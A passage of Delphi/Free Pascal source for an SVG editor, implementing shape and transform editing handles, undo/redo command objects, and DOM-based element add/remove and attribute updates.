// -----------------------------------------------------------------------------
//
// TSVGEditorToolTransform
//
// -----------------------------------------------------------------------------
constructor TSVGEditorToolTransform.Create(aEditor: TSVGEditor; aRoot: ISVGRoot;
aObject: ISVGObject; aParentCache: ISVGObjectCache);
begin
inherited Create(aEditor, aRoot, aObject, aParentCache);
CmdListAddAttribute('transform');
end;
destructor TSVGEditorToolTransform.Destroy;
begin
inherited;
end;
procedure TSVGEditorToolTransform.DoCreateHandles;
var
i: integer;
Handle: TSVGHandle;
begin
for i := 0 to 3 do
begin
case i of
0: Handle := TSVGHandle.Create(Self, i, 6, svg_handle_transform_0);
1: Handle := TSVGHandle.Create(Self, i, 6, svg_handle_transform_1);
2: Handle := TSVGHandle.Create(Self, i, 6, svg_handle_transform_2);
else
Handle := TSVGHandle.Create(Self, i, 6, svg_handle_transform_3);
end;
Handle.Parent := Parent;
HandleList.Add(Handle);
end;
end;
procedure TSVGEditorToolTransform.SetBounds(ALeft, ATop, AWidth,
AHeight: Integer);
begin
inherited;
if IsChanged then
begin
UpdateTransform;
UpdateBitmap;
Repaint;
end;
end;
procedure TSVGEditorToolTransform.UpdateTransform;
var
Transform: TSVGUnicodeString;
Parser: TSVGCssParser;
TransformList: TSVGTransformList;
M: TSVGMatrix;
Count: Integer;
Cmd: TSVGEditorCmdSetAttribute;
begin
CalcTransform;
if FMatrix.IsIdentity then
Exit;
if FCmdList.TryGetValue('transform', Cmd) then
Transform := Cmd.ValueOld
else
Transform := '';
Parser := TSVGCssParser.Create(Transform);
try
Parser.ReadTransformList(TransformList);
// If the last transform is a matrix, we multiply else we add
Count := Length(TransformList);
if (Count > 0) and (TransformList[Count-1].TransformType = ttMatrix) then
begin
M := TransformList[Count-1].CalcMatrix(FRoot as ISVGRefDimensions);
M := TSVGMatrix.Multiply(FMatrix, M);
TransformList[Count-1].SetMatrix(M);
end else begin
SetLength(TransformList, Count + 1);
TransformList[Count].SetMatrix(FMatrix);
end;
Transform := ConvertTransform(TransformList);
CmdListSetAttribute('transform', Transform);
finally
Parser.Free;
end;
end;
// -----------------------------------------------------------------------------
//
// TSVGEditorToolShape
//
// -----------------------------------------------------------------------------
constructor TSVGEditorToolShape.Create(aEditor: TSVGEditor; aRoot: ISVGRoot;
aObject: ISVGObject; aParentCache: ISVGObjectCache);
begin
FPathDataList := TSVGPathDataListUtil.Create;
FPathGeometry := TSVGPathGeometry.Create;
FFigureIndex := 0;
FSegmentIndex := 0;
case aObject.ElementType of
elRect:
begin
end;
elCircle:
begin
end;
elEllipse:
begin
end;
elPolygon,
elPolyline:
begin
FPathDataList.ParseSVGPolygonString(
aObject.Attributes['points'],
aObject.ElementType = elPolygon);
end;
elPath:
begin
FPathGeometry.AsString := aObject.Attributes['d'];
end;
end;
inherited Create(aEditor, aRoot, aObject, aParentCache);
case FSVGObject.ElementType of
elRect:
begin
CmdListAddAttribute('x');
CmdListAddAttribute('y');
CmdListAddAttribute('width');
CmdListAddAttribute('height');
end;
elCircle:
begin
CmdListAddAttribute('cx');
CmdListAddAttribute('cy');
CmdListAddAttribute('r');
end;
elEllipse:
begin
CmdListAddAttribute('cx');
CmdListAddAttribute('cy');
CmdListAddAttribute('rx');
CmdListAddAttribute('ry');
end;
elPolygon,
elPolyline:
begin
CmdListAddAttribute('points');
end;
elPath:
begin
CmdListAddAttribute('d');
end;
end;
end;
destructor TSVGEditorToolShape.Destroy;
begin
inherited;
end;
procedure TSVGEditorToolShape.DoCreateHandles;
var
i: integer;
Handle: TSVGHandle;
Points: TSVGPathPointList;
Figure: ISVGPathFigure;
Segment: ISVGPathSegment;
LineSegment: ISVGLineSegment;
BezierSegment: ISVGBezierSegment;
QuadSegment: ISVGQuadSegment;
begin
case FSVGObject.ElementType of
elRect:
begin
for i := 0 to 3 do
begin
Handle := TSVGHandle.Create(Self, i, 4, svg_handle_shape_1);
Handle.Parent := Parent;
HandleList.Add(Handle);
end;
end;
elCircle:
begin
for i := 0 to 0 do
begin
Handle := TSVGHandle.Create(Self, i, 4, svg_handle_shape_1);
Handle.Parent := Parent;
HandleList.Add(Handle);
end;
end;
elEllipse:
begin
for i := 0 to 1 do
begin
Handle := TSVGHandle.Create(Self, i, 4, svg_handle_shape_1);
Handle.Parent := Parent;
HandleList.Add(Handle);
end;
end;
elPolygon,
elPolyLine:
begin
Points := GetData;
for i := 0 to Points.Count - 1 do
begin
Handle := TSVGHandle.Create(Self, i, 4, svg_handle_shape_1);
Handle.Parent := Parent;
HandleList.Add(Handle);
end;
end;
elPath:
begin
if FFigureIndex < FPathGeometry.Figures.Count then
begin
Figure := FPathGeometry.Figures[FFigureIndex];
if FSegmentIndex < Figure.Segments.Count then
begin
Segment := Figure.Segments[FSegmentIndex];
if Supports(Segment, ISVGLineSegment, LineSegment) then
begin
Handle := TSVGHandle.Create(Self, 0, 4, svg_handle_shape_1);
Handle.Parent := Parent;
HandleList.Add(Handle);
end else
if Supports(Segment, ISVGBezierSegment, BezierSegment) then
begin
Handle := TSVGHandle.Create(Self, 0, 4, svg_handle_shape_2);
Handle.Parent := Parent;
HandleList.Add(Handle);
Handle := TSVGHandle.Create(Self, 1, 4, svg_handle_shape_2);
Handle.Parent := Parent;
HandleList.Add(Handle);
Handle := TSVGHandle.Create(Self, 2, 4, svg_handle_shape_1);
Handle.Parent := Parent;
HandleList.Add(Handle);
end else
if Supports(Segment, ISVGQuadSegment, QuadSegment) then
begin
Handle := TSVGHandle.Create(Self, 0, 4, svg_handle_shape_2);
Handle.Parent := Parent;
HandleList.Add(Handle);
Handle := TSVGHandle.Create(Self, 1, 4, svg_handle_shape_1);
Handle.Parent := Parent;
HandleList.Add(Handle);
end else
// TODO
;
end;
end;
end;
end;
end;
procedure TSVGEditorToolShape.DoMovePosition(const aDx, aDy: Integer);
var
R: TSVGRect;
SaveCTM: TSVGMatrix;
begin
inherited;
R := GetObjectBounds;
if R.IsUndefined then
Exit;
R.Offset(aDx, aDy);
SetObjectBounds(R);
if assigned(FCache) then
begin
SaveCTM := FRoot.CTM;
try
FRoot.CTMRestore(FCache.CTM);
FCache.ScreenBBox := FSVGObject.CalcBBoxCTM(FRoot, [biFill, biStroke]);
finally
FRoot.CTMRestore(SaveCTM);
end;
end;
CalcBounds;
UpdateBitmap;
Invalidate;
end;
procedure TSVGEditorToolShape.DoSetHandlePoint(const aIndex: Integer;
const Value: TPoint);
var
P: TSVGPoint;
R: TSVGRect;
SaveCTM: TSVGMatrix;
Points: TSVGPathPointList;
PointKind: TSVGPathPointKind;
Figure: ISVGPathFigure;
Segment: ISVGPathSegment;
LineSegment: ISVGLineSegment;
BezierSegment: ISVGBezierSegment;
QuadSegment: ISVGQuadSegment;
procedure SetAttrPathData(const aValue: TSVGUnicodeString);
var
Path: ISVGPath;
Attr: ISVGAttribute;
//PathShape: ISVGPathShape;
//PathDataList: ISVGPathDataList;
//PathData: ISVGPathData;
begin
CmdListSetAttribute('d', aValue);
{ Update 10
if Supports(FSVGObject, ISVGPathShape, PathShape) then
begin
PathDataList := TSVGRenderContextManager.CreatePathDataList;
PathData := PathDataList.CreatePathData;
PathDataList.Add(PathData);
FPathGeometry.ConvertToPathData(PathData as ISVGPathDataSink);
PathShape.SetPathDataList(FRoot, PathDataList);
Exit;
end;}
// Work around because of a bug
if Supports(FSVGObject, ISVGPath, Path) then
begin
if Path.TryGetAttribute('d', Attr) then
Attr.Value.Parse(FRoot, aValue);
end;
end;
begin
P := SVGPoint(Value.X, Value.Y);
P := ToolToSVG(P);
case FSVGObject.ElementType of
elRect:
begin
R := GetObjectBounds;
if R.IsUndefined then
Exit;
case aIndex of
0: R := SVGRect(P.X, P.Y, R.Right, R.Bottom);
1: R := SVGRect(R.Left, P.Y, P.X, R.Bottom);
2: R := SVGRect(R.Left, R.Top, P.X, P.Y);
else
R := SVGRect(P.X, R.Top, R.Right, P.Y);
end;
SetObjectBounds(R);
end;
elCircle:
begin
R := GetObjectBounds;
if R.IsUndefined then
Exit;
R := SVGRect(R.Left - P.X + R.Right, R.Top, P.X, R.Bottom);
SetObjectBounds(R);
end;
elEllipse:
begin
R := GetObjectBounds;
if R.IsUndefined then
Exit;
case aIndex of
0: R := SVGRect(R.Left - P.X + R.Right, R.Top, P.X, R.Bottom);
else
R := SVGRect(R.Left, R.Top - P.Y + R.Bottom, R.Right, P.Y);
end;
SetObjectBounds(R);
end;
elPolyLine,
elPolygon:
begin
Points := GetData;
PointKind := Points[aIndex].Kind;
Points[aIndex] := TSVGPathPoint.Create(PointKind, P);
end;
elPath:
begin
if FFigureIndex < FPathGeometry.Figures.Count then
begin
Figure := FPathGeometry.Figures[FFigureIndex];
if FSegmentIndex < Figure.Segments.Count then
begin
Segment := Figure.Segments[FSegmentIndex];
if Supports(Segment, ISVGLineSegment, LineSegment) then
begin
if aIndex = 0 then
LineSegment.Point := P;
end else
if Supports(Segment, ISVGBezierSegment, BezierSegment) then
begin
case aIndex of
0: BezierSegment.Point1 := p;
1: BezierSegment.Point2 := p;
2: BezierSegment.Point3 := p;
end;
end else
if Supports(Segment, ISVGQuadSegment, QuadSegment) then
begin
case aIndex of
0: QuadSegment.Point1 := p;
1: QuadSegment.Point2 := p;
end;
end else
// TODO
;
end;
SetAttrPathData(FPathGeometry.AsString);
end;
end;
end;
if assigned(FCache) then
begin
SaveCTM := FRoot.CTM;
try
FRoot.CTMRestore(FCache.CTM);
FCache.ScreenBBox := FSVGObject.CalcBBoxCTM(FRoot, [biFill, biStroke]);
finally
FRoot.CTMRestore(SaveCTM);
end;
end;
CalcBounds;
UpdateBitmap;
Invalidate;
end;
function TSVGEditorToolShape.GetData: TSVGPathPointList;
var
PathDataUtil: ISVGPathDataUtil;
begin
if Supports(FPathDataList[0], ISVGPathDataUtil, PathDataUtil) then
Result := PathDataUtil.Data
else
raise Exception.Create('PathData does not support ISVGPathDataUtil.');
end;
function TSVGEditorToolShape.GetHandlePoint(const aIndex: Integer): TPoint;
var
P: TSVGPoint;
Rect: ISVGRect;
Circle: ISVGCircle;
Ellipse: ISVGEllipse;
Points: TSVGPathPointList;
Figure: ISVGPathFigure;
Segment: ISVGPathSegment;
LineSegment: ISVGLineSegment;
BezierSegment: ISVGBezierSegment;
QuadSegment: ISVGQuadSegment;
begin
P := SVGPoint(0.0, 0.0);
if Supports(FSVGObject, ISVGRect, Rect) then
begin
case aIndex of
0: P := SVGPoint(CalcX(Rect.X), CalcY(Rect.Y));
1: P := SVGPoint(CalcX(Rect.X) + CalcX(Rect.Width), CalcY(Rect.Y));
2: P := SVGPoint(CalcX(Rect.X) + CalcX(Rect.Width), CalcY(Rect.Y) + CalcY(Rect.Height));
else
P := SVGPoint(CalcX(Rect.X), CalcY(Rect.Y) + CalcY(Rect.Height));
end;
end else
if Supports(FSVGObject, ISVGCircle, Circle) then
begin
P := SVGPoint(CalcX(Circle.CX) + CalcX(Circle.R), CalcY(Circle.CY));
end else
if Supports(FSVGObject, ISVGEllipse, Ellipse) then
begin
case aIndex of
0: P := SVGPoint(CalcX(Ellipse.CX) + CalcX(Ellipse.RX), CalcY(Ellipse.CY) );
else
P := SVGPoint(CalcX(Ellipse.CX), CalcY(Ellipse.CY) + CalcY(Ellipse.RY));
end;
end else
case FSVGObject.ElementType of
elPolyLine,
elPolygon:
begin
Points := GetData;
P := Points[aIndex].Point;
end;
elPath:
begin
if FFigureIndex < FPathGeometry.Figures.Count then
begin
Figure := FPathGeometry.Figures[FFigureIndex];
if FSegmentIndex < Figure.Segments.Count then
begin
Segment := Figure.Segments[FSegmentIndex];
if Supports(Segment, ISVGLineSegment, LineSegment) then
begin
if aIndex = 0 then
P := LineSegment.Point;
end else
if Supports(Segment, ISVGBezierSegment, BezierSegment) then
begin
case aIndex of
0: P := BezierSegment.Point1;
1: P := BezierSegment.Point2;
2: P := BezierSegment.Point3;
end;
end else
if Supports(Segment, ISVGQuadSegment, QuadSegment) then
begin
case aIndex of
0: P := QuadSegment.Point1;
1: P := QuadSegment.Point2;
end;
end else
// TODO
;
end;
end;
end;
end;
Result := SVGToTool(P).Round;
end;
function TSVGEditorToolShape.GetObjectBounds: TSVGRect;
var
Rect: ISVGRect;
Circle: ISVGCircle;
Ellipse: ISVGEllipse;
begin
if Supports(FSVGObject, ISVGRect, Rect) then
begin
Result := SVGRect(
CalcX(Rect.X),
CalcY(Rect.Y),
CalcX(Rect.X) + CalcX(Rect.Width),
CalcY(Rect.Y) + CalcY(Rect.Height));
end else
if Supports(FSVGObject, ISVGCircle, Circle) then
begin
Result := SVGRect(
CalcX(Circle.CX) - CalcX(Circle.R),
CalcY(Circle.CY) - CalcY(Circle.R),
CalcX(Circle.CX) + CalcX(Circle.R),
CalcY(Circle.CY) + CalcY(Circle.R));
end else
if Supports(FSVGObject, ISVGEllipse, Ellipse) then
begin
Result := SVGRect(
CalcX(Ellipse.CX) - CalcX(Ellipse.RX),
CalcY(Ellipse.CY) - CalcY(Ellipse.RY),
CalcX(Ellipse.CX) + CalcX(Ellipse.RX),
CalcY(Ellipse.CY) + CalcY(Ellipse.RY));
end else
Result := TSVGRect.CreateUndefined;
end;
procedure TSVGEditorToolShape.KeyDown(var Key: Word; Shift: TShiftState);
var
Figure: ISVGPathFigure;
begin
if FSVGObject.ElementType = elPath then
begin
if FFigureIndex < FPathGeometry.Figures.Count then
begin
if (ssAlt in Shift) then
begin
if Key = 78 then // n
begin
ClearHandles;
try
Figure := FPathGeometry.Figures[FFigureIndex];
Inc(FSegmentIndex);
if FSegmentIndex >= Figure.Segments.Count then
begin
FSegmentIndex := 0;
Inc(FFigureIndex);
if FFigureIndex >= FPathGeometry.Figures.Count then
FFigureIndex := 0;
end;
finally
CreateHandles;
end;
end else
if Key = 80 then // p
begin
ClearHandles;
try
Dec(FSegmentIndex);
if FSegmentIndex < 0 then
begin
Dec(FFigureIndex);
if FFigureIndex < 0 then
FFigureIndex := FPathGeometry.Figures.Count - 1;
Figure := FPathGeometry.Figures[FFigureIndex];
FSegmentIndex := Figure.Segments.Count - 1;
FSegmentIndex := 0;
Inc(FFigureIndex);
if FFigureIndex >= FPathGeometry.Figures.Count then
FFigureIndex := 0;
end;
finally
CreateHandles;
end;
end;
end;
end;
end;
inherited;
end;
procedure TSVGEditorToolShape.SetObjectBounds(aRect: TSVGRect);
var
Rect: ISVGRect;
Circle: ISVGCircle;
Ellipse: ISVGEllipse;
begin
if Supports(FSVGObject, ISVGRect, Rect) then
begin
CmdListSetAttribute('x', CalcX(aRect.Left, Rect.X.DimType));
CmdListSetAttribute('y', CalcY(aRect.Top, Rect.X.DimType));
CmdListSetAttribute('width', CalcX(aRect.Right - aRect.Left, Rect.Width.DimType));
CmdListSetAttribute('height', CalcX(aRect.Bottom - aRect.Top, Rect.Height.DimType));
end else
if Supports(FSVGObject, ISVGCircle, Circle) then
begin
CmdListSetAttribute('cx', CalcX((aRect.Left + aRect.Right) / 2, Circle.CX.DimType));
CmdListSetAttribute('cy', CalcY((aRect.Top + aRect.Bottom) / 2, Circle.CY.DimType));
CmdListSetAttribute('r', CalcX(aRect.Width / 2, Circle.R.DimType));
end else
if Supports(FSVGObject, ISVGEllipse, Ellipse) then
begin
CmdListSetAttribute('cx', CalcX((aRect.Left + aRect.Right) / 2, Ellipse.CX.DimType));
CmdListSetAttribute('cy', CalcY((aRect.Top + aRect.Bottom) / 2, Ellipse.CY.DimType));
CmdListSetAttribute('rx', CalcX(aRect.Width / 2, Ellipse.RX.DimType));
CmdListSetAttribute('ry', CalcY(aRect.Height / 2, Ellipse.RX.DimType));
end else
if FSVGObject.ElementType = elPath then
begin
//CmdListSetAttribute('d', FPathGeometry.AsString);
end;
end;
// -----------------------------------------------------------------------------
//
// TSVGEditorCmd
//
// -----------------------------------------------------------------------------
constructor TSVGEditorCmd.Create(aCmdType: TSVGEditorCmdType);
begin
inherited Create;
FCmdType := aCmdType;
end;
// -----------------------------------------------------------------------------
//
// TSVGEditorCmdElementID
//
// -----------------------------------------------------------------------------
constructor TSVGEditorCmdElementID.Create(aCmdType: TSVGEditorCmdType;
const aID: Integer);
begin
inherited Create(aCmdType);
FID := aID;
end;
// -----------------------------------------------------------------------------
//
// TSVGEditorCmdElementsSelect
//
// -----------------------------------------------------------------------------
constructor TSVGEditorCmdElementsSelect.Create;
begin
inherited Create(ctSelectElement);
FSelect := TList<Integer>.Create;
FUnselect := TList<Integer>.Create;
end;
destructor TSVGEditorCmdElementsSelect.Destroy;
begin
FUnselect.Free;
FSelect.Free;
inherited;
end;
// -----------------------------------------------------------------------------
//
// TSVGEditorCmdElementAdd
//
// -----------------------------------------------------------------------------
constructor TSVGEditorCmdElementAdd.Create(const aParentID,
aNodeIndex: Integer; const aDOMDocument: IDOMDocument);
begin
inherited Create(ctAddElement, aParentID, aNodeIndex, aDOMDocument);
end;
// -----------------------------------------------------------------------------
//
// TSVGEditorCmdElementRemove
//
// -----------------------------------------------------------------------------
constructor TSVGEditorCmdElementRemove.Create(const aParentID,
aNodeIndex: Integer; const aDOMDocument: IDOMDocument);
begin
inherited Create(ctRemoveElement, aParentID, aNodeIndex, aDOMDocument);
end;
// -----------------------------------------------------------------------------
//
// TSVGEditorCmdSetAttribute
//
// -----------------------------------------------------------------------------
constructor TSVGEditorCmdSetAttribute.Create(const aID: Integer;
const aName, aValueOld, aValueNew: TSVGUnicodeString);
begin
inherited Create(ctSetAttribute, aID);
FName := aName;
FValueOld := aValueOld;
FValueNew := aValueNew;
end;
// -----------------------------------------------------------------------------
//
// TSVGEditorCmdDOM
//
// -----------------------------------------------------------------------------
constructor TSVGEditorCmdDOM.Create(aCmdType: TSVGEditorCmdType;
const aParentID, aNodeIndex: Integer; const aDOMDocument: IDOMDocument);
begin
inherited Create(aCmdType);
FDOMDocument := aDOMDocument;
FParentID := aParentID;
FNodeIndex := aNodeIndex;
end;
// -----------------------------------------------------------------------------
//
// TSVGEditorCmdGroup
//
// -----------------------------------------------------------------------------
constructor TSVGEditorCmdGroup.Create;
begin
inherited Create(ctGroup);
FCmdList := TObjectList<TSVGEditorCmd>.Create(TRUE);
end;
destructor TSVGEditorCmdGroup.Destroy;
begin
FCmdList.Free;
inherited;
end;
// -----------------------------------------------------------------------------
//
// TSVGEditorCmdToolSelect
//
// -----------------------------------------------------------------------------
constructor TSVGEditorCmdToolSelect.Create(const aToolOld, aToolNew: TSVGToolClass);
begin
inherited Create(ctSelectTool);
FToolOld := aToolOld;
FToolNew := aToolNew;
end;
// -----------------------------------------------------------------------------
//
// TSVGEditor
//
// -----------------------------------------------------------------------------
procedure TSVGEditor.CalcCanvasRect;
var
SVGWidth, SVGHeight: TSVGDimension;
W, H: Integer;
R: TSVGRect;
CWidth, CHeight: Integer;
begin
// Calculate the size of the canvas
FPadding.OnChange := nil;
try
FPadding.Left := 100;
FPadding.Top := 100;
FPadding.Right := 100;
FPadding.Bottom := 100;
CWidth := ControlSize(SB_HORZ, False, False);
CHeight := ControlSize(SB_VERT, False, False);
W := CWidth - FPadding.Right - FPadding.Left - 1;
H := CHeight - FPadding.Bottom - FPadding.Top - 1;
R := SVGRect(0, 0, W, H);
if assigned(FRoot) then
begin
if FRoot.SVG.HasAttribute('width') then
SVGWidth := FRoot.SVG.Width
else
SVGWidth := SVGDim(100, dimPerc);
if FRoot.SVG.HasAttribute('height') then
SVGHeight := FRoot.SVG.Height
else
SVGHeight := SVGDim(100, dimPerc);
if SVGWidth.DimType = dimPerc then
FContentScale.X := SVGWidth.DimValue / 100
else
FContentScale.X := FScale;
if SVGHeight.DimType = dimPerc then
FContentScale.Y := SVGHeight.DimValue / 100
else
FContentScale.Y := FScale;
R := FRoot.CalcIntrinsicSize(R);
R.Width := R.Width * FScale;
R.Height := R.Height * FScale;
// Increase padding to fill the available area
if R.Width < W then
begin
FPadding.Left := (CWidth - Ceil(R.Width)) div 2;
FPadding.Right := FPadding.Left - 1;
end;
if R.Height < H then
begin
FPadding.Top := (CHeight - Ceil(R.Height)) div 2;
FPadding.Bottom := FPadding.Top - 1;
end;
end;
CanvasRect := Rect(0, 0,
Ceil(R.Width) + FPadding.Left + FPadding.Right,
Ceil(R.Height) + FPadding.Top + FPadding.Bottom);
FTopLeft := Point(0, 0);
FMatrix := TSVGMatrix.Multiply(
TSVGMatrix.CreateScaling(FContentScale.X, FContentScale.Y),
TSVGMatrix.CreateTranslation(
Round(FPadding.Left), Round(FPadding.Top))
);
FInvMatrix := FMatrix.Inverse;
finally
FPadding.OnChange := DoPaddingChange;
end;
end;
procedure TSVGEditor.ChildListBeforeCreate(aParent: IXMLNode);
var
i: Integer;
Element: ISVGElement;
begin
if assigned(FChildListBefore) then
FChildListBefore.Free;
FChildListBefore := TList<ISVGElement>.Create;
for i := 0 to aParent.ChildNodes.Count - 1 do
if Supports(aParent.ChildNodes[i], ISVGElement, Element) then
FChildListBefore.Add(Element);
end;
procedure TSVGEditor.Clear;
begin
ToolsClear;
CmdUndoStackClear;
CmdRedoStackClear;
FSelectedElementList.Clear;
FElementList.Clear;
FMaxID := -1;
end;
procedure TSVGEditor.CmdExec(aCmd: TSVGEditorCmd; const aUndo: Boolean);
begin
ToolsClear;
try
CmdExecInternal(aCmd, aUndo);
DoElementSelect(nil);
finally
ToolsCreate;
end;
end;
procedure TSVGEditor.CmdExecInternal(aCmd: TSVGEditorCmd; const aUndo: Boolean);
var
i: Integer;
CmdGroup: TSVGEditorCmdGroup;
begin
case aCmd.CmdType of
ctSelectElement:
CmdExecElementSelect(aCmd as TSVGEditorCmdElementsSelect, aUndo);
ctAddElement:
if aUndo then
CmdExecElementRemove(aCmd as TSVGEditorCmdDOM)
else
CmdExecElementAdd(aCmd as TSVGEditorCmdDOM);
ctRemoveElement:
if aUndo then
CmdExecElementAdd(aCmd as TSVGEditorCmdDOM)
else
CmdExecElementRemove(aCmd as TSVGEditorCmdDOM);
ctSetAttribute:
CmdExecSetAttribute(aCmd as TSVGEditorCmdSetAttribute, aUndo);
ctSelectTool:
CmdExecToolSelect(aCmd as TSVGEditorCmdToolSelect, aUndo);
ctGroup:
begin
CmdGroup := aCmd as TSVGEditorCmdGroup;
if aUndo then
begin
for i := CmdGroup.CmdList.Count - 1 downto 0 do
CmdExecInternal(CmdGroup.CmdList[i], aUndo);
end else begin
for i := 0 to CmdGroup.CmdList.Count - 1 do
CmdExecInternal(CmdGroup.CmdList[i], aUndo);
end;
end;
end;
end;
procedure TSVGEditor.CmdExecElementAdd(aCmd: TSVGEditorCmdDOM);
var
i: Integer;
Parent, Element: ISVGElement;
DOMNode: IDOMNode;
procedure AddNodeID(const aNode: IXMLNode);
var
i: Integer;
Element: ISVGElement;
begin
if Supports(aNode, ISVGElement, Element) then
FElementList.Add(GetElementID(Element), Element);
for i := 0 to aNOde.ChildNodes.Count - 1 do
AddNodeID(aNode.ChildNodes[i]);
end;
begin
if FSelectedElementList.Count <> 1 then
raise Exception.Create('Selected node list <> 1');
Parent := FElementList[aCmd.ParentID];
ChildListBeforeCreate(Parent);
try
DOMNode := aCmd.DomDocument.documentElement.firstChild;
while assigned(DOMNode) do
begin
XMLImportNode(DOMNode, Parent, True, aCmd.NodeIndex);
DOMNode := DOMNode.nextSibling;
end;
for i := 0 to Parent.ChildNodes.Count - 1 do
begin
if Supports(Parent.ChildNodes[i], ISVGElement, Element) then
if FChildListBefore.IndexOf(Element) = -1 then
begin
AddNodeID(Element);
DoElementAdd(Parent, aCmd.NodeIndex, Element);
end;
end;
finally
FreeAndNil(FChildListBefore);
end;
UpdatePage([rsCalcCache]);
end;
procedure TSVGEditor.CmdExecElementRemove(aCmd: TSVGEditorCmdDOM);
var
i: Integer;
DOMElement: IDOMElement;
DOMNode: IDOMNode;
Parent, Element: ISVGElement;
IDS: TSVGUnicodeString;
ID: Integer;
procedure RemoveNodeID(aNode: IXMLNode);
var
i: Integer;
Element: ISVGElement;
begin
if Supports(aNode, ISVGElement, Element) then
FElementList.Remove(GetElementID(Element));
for i := 0 to aNode.ChildNodes.Count - 1 do
RemoveNodeID(aNode.ChildNodes[i]);
end;
begin
DOMNode := aCmd.DomDocument.documentElement.firstChild;
while assigned(DOMNode) do
begin
if Supports(DOMNode, IDOMElement, DOMElement) then
begin
IDS := DOMElement.getAttributeNS(ns_svg_editor, at_local_id);
ID := StrToInt(IDS);
Element := FElementList[ID];
RemoveNodeID(Element);
if Supports(Element.ParentNode, ISVGElement, Parent) then
begin
ChildListBeforeCreate(Parent);
try
Parent.ChildNodes.Remove(Element);
for i := 0 to FChildListBefore.Count - 1 do
begin
if Parent.ChildNodes.IndexOf(FChildListBefore[i]) = -1 then
DoElementRemove(FChildListBefore[i]);
end;
finally
FreeAndNil(FChildListBefore);
end;
end;
end;
DOMNode := DOMNode.nextSibling;
end;
UpdatePage([rsCalcCache]);
end;
procedure TSVGEditor.CmdExecElementSelect(aCmd: TSVGEditorCmdElementsSelect;
const aUndo: Boolean);
var
ID: Integer;
begin
if aUndo then
begin
for ID in aCmd.Select do
FSelectedElementList.Remove(ID);
for ID in aCmd.Unselect do
FSelectedElementList.Add(ID);
end else begin
for ID in aCmd.Unselect do
FSelectedElementList.Remove(ID);
for ID in aCmd.Select do
FSelectedElementList.Add(ID);
end;
end;
procedure TSVGEditor.CmdExecSetAttribute(aCmd: TSVGEditorCmdSetAttribute;
const aUndo: Boolean);
var
Element: ISVGElement;
Value: TSVGUnicodeString;
begin
Element := FElementList[aCmd.ID];
if aUndo then
Value := aCmd.ValueOld
else
Value := aCmd.ValueNew;
Element.Attributes[aCmd.Name] := Value;
UpdatePage([rsCalcCache]);
DoSetAttribute(Element, aCmd.Name, Value);
end;
procedure TSVGEditor.CmdExecToolSelect(aCmd: TSVGEditorCmdToolSelect;
const aUndo: Boolean);
begin
if aUndo then
FCurTool := aCmd.ToolOld
else
FCurTool := aCmd.ToolNew;
DoToolSelect(FCurTool);
end;
function TSVGEditor.CmdElementAddCreate(const aParent: ISVGElement;
const aNodeIndex: Integer; const aFragment: string): TSVGEditorCmdElementAdd;
const
Harnas =
'<?xml version="1.0" encoding="UTF-8" standalone="no"?>'
+ '<svg'
+ ' xmlns="http://www.w3.org/2000/svg"'
+ ' xmlns:svg="http://www.w3.org/2000/svg"'
+ ' xmlns:svge="' + ns_svg_editor + '"'
+ '>%s</svg>';
var
StrStream: TStringStream;
ParentDoc, Doc: IDOMDocument;
DOMNode: IDOMNode;
Persist: IDOMPersist;
ParentID: Integer;
procedure SetNodeID(aDOMNode: IDOMNode);
var
DOMNode: IDOMNode;
DOMElement: IDOMElement;
begin
if Supports(aDOMNode, IDOMElement, DOMElement) then
begin
Inc(FMaxID);
DOMElement.setAttributeNS(ns_svg_editor, prefix_local_id + ':' + at_local_id, IntToStr(FMaxID));
end;
DOMNode := aDOMNode.firstChild;
while assigned(DOMNode) do
begin
SetNodeID(DOMNode);
DOMNode := DOMNode.nextSibling;
end;
end;
begin
{$IFnDEF FPC}
StrStream := TStringStream.Create(Format(Harnas, [aFragment]), TEncoding.UTF8);
{$ELSE}
StrStream := TStringStream.Create(Format(Harnas, [aFragment]));
{$ENDIF}
try
if StrStream.Size = 0 then
raise Exception.Create('Invalid SVG fragment.');
ParentDoc := FRoot.SVG.DOMNode.ownerDocument;
Doc := ParentDoc.domImplementation.createDocument('', '', nil);
if not Supports(Doc, IDOMPersist, Persist) then
raise Exception.Create('Dom implementation does not allow parsing.');
Persist.loadFromStream(StrStream);
finally
StrStream.Free;
end;
DOMNode := Doc.documentElement.firstChild;
while assigned(DOMNode) do
begin
SetNodeID(DOMNode);
DOMNode := DOMNode.nextSibling;
end;
ParentID := GetElementID(aParent);
Result := TSVGEditorCmdElementAdd.Create(ParentID, aNodeIndex, Doc);
end;
function TSVGEditor.CmdElementRemoveCreate(
const aElement: ISVGElement): TSVGEditorCmdElementRemove;
var
DOMDoc: IDOMDocument;
DOMNode: IDOMNode;
DOMAttr: IDOMAttr;
Parent: ISVGElement;
ParentID: Integer;
NodeIndex: Integer;
begin
DOMNode := aElement.DOMNode;
DOMDoc := DOMNode.ownerDocument.domImplementation.createDocument('', '', nil);
DOMDoc.documentElement := DOMDoc.createElement(EL_SVG);
DOMAttr := DOMDoc.createAttributeNS('http://www.w3.org/2000/svg', 'xmlns');
DOMDoc.documentElement.setAttributeNode(DOMAttr);
DOMAttr := DOMDoc.createAttributeNS('http://www.w3.org/2000/svg', 'xmlns:svg');
DOMDoc.documentElement.setAttributeNode(DOMAttr);
DOMAttr := DOMDoc.createAttributeNS(ns_svg_editor, 'xmlns:svge');
DOMDoc.documentElement.setAttributeNode(DOMAttr);
DOMDoc.documentElement.appendChild(DOMNode.cloneNode(TRUE));
if not Supports(aElement.ParentNode, ISVGElement, Parent) then
raise Exception.Create('Parent is not an element');
ParentID := GetElementID(Parent);
NodeIndex := Parent.ChildNodes.IndexOf(aElement);
Result := TSVGEditorCmdElementRemove.Create(ParentID, NodeIndex, DOMDoc);
end;
procedure TSVGEditor.CmdRedo;
var
Cmd: TSVGEditorCmd;
begin
if FCmdRedoStack.Count > 0 then
begin
Cmd := FCmdRedoStack.Pop;
try
CmdExec(Cmd, False);
FCmdUndoStack.Push(Cmd);
except on E:Exception do
begin
// Stacks are invalid
CmdUndoStackClear;
CmdRedoStackClear;
end;
end;
end;
end;
procedure TSVGEditor.CmdRedoStackClear;
var
Cmd: TSVGEditorCmd;
begin
while FCmdRedoStack.Count > 0 do
begin
Cmd := FCmdRedoStack.Pop;
Cmd.Free;
end;
end;
function TSVGEditor.CmdSetAttributeCreate(const aElement: ISVGElement;
const aName, aValue: TSVGUnicodeString): TSVGEditorCmdSetAttribute;
var
ID: Integer;
CurValue: TSVGUnicodeString;
begin
CurValue := '';
if aElement.HasAttribute(aName) then
CurValue := aElement.Attributes[aName];
ID := GetElementID(aElement);
